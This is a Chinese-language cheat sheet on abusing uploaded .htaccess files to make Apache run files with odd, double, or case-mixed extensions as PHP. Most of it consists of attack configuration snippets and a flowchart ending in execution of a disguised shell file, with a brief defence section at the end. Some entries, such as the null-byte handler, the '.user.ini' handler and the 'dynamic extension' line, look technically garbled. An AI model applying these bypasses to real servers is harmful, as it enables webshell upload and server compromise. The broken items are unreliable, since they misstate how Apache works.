.htaccess 文件上传漏洞绕过总结
核心原理
通过 .htaccess
文件修改服务器配置,将非常规扩展名解析为可执行脚本(如 PHP),绕过文件上传黑名单限制。
一、关键配置指令(图片内容分析)
图片中列出的扩展名 和 MIME 类型可直接用于绕过:
apache
# 将扩展名映射到 PHP 解析器
AddHandler application/x-httpd-php .rhtml .phtml .pht .phps .php3 .php3p .php4 .php5
# 或使用 AddType
AddType application/x-httpd-php .phtml .php3 .phps
二、扩展绕过技巧(实战增强)
1. 非常规扩展名
apache
AddHandler application/x-httpd-php .abc .xyz .shell .test
效果 :上传 shell.abc
会被当作 PHP 执行。
2. 双扩展名绕过
apache
AddHandler application/x-httpd-php .jpg.xyz
效果 :image.jpg.xyz
会被解析为 PHP。
3. 空字节截断(旧系统)
apache
AddHandler application/x-httpd-php .php%00
效果 :上传 shell.php%00.jpg
可能被解析为 PHP(需 PHP<5.3)。
4. 大小写混淆
apache
AddHandler application/x-httpd-php .PhP5 .pHtML
效果 :绕过对 php
的大小写检查。
5. 特殊前缀/后缀
apache
AddHandler application/x-httpd-php .user.ini
效果 :利用 .user.ini
的 auto_prepend_file
执行代码。
三、MIME 类型绕过
apache
# 伪造图片 MIME 类型
AddType application/x-httpd-php .jpg .png
# 或直接覆盖默认类型
RemoveHandler .jpg
AddHandler application/x-httpd-php .jpg
四、高级组合技
1. 嵌套解析绕过
apache
<FilesMatch "\.hack$">
SetHandler application/x-httpd-php
</FilesMatch>
效果 :所有 .hack
文件被解析为 PHP。
2. 动态扩展名
apache
AddHandler application/x-httpd-php ."$"
效果:利用环境变量动态生成扩展名(需服务器支持)。
五、防御建议(管理员视角)
-
禁用 .htaccess 覆盖:
apacheAllowOverride None
-
限制上传目录执行权限:
apache<Directory "/uploads"> php_flag engine off </Directory>
-
严格文件类型检查:
- 使用白名单验证扩展名 + MIME 类型 + 文件头签名。
总结流程图
上传 .htaccess 文件
│
├── 添加恶意扩展名(.phtml, .php5)
│
├── 伪造 MIME 类型(image/jpg → PHP)
│
└── 上传伪装文件(shell.jpg.php5)
│
└── 服务器解析执行
通过灵活组合扩展名、MIME 类型和服务器配置规则,可绕过大多数基于黑名单的文件上传防护。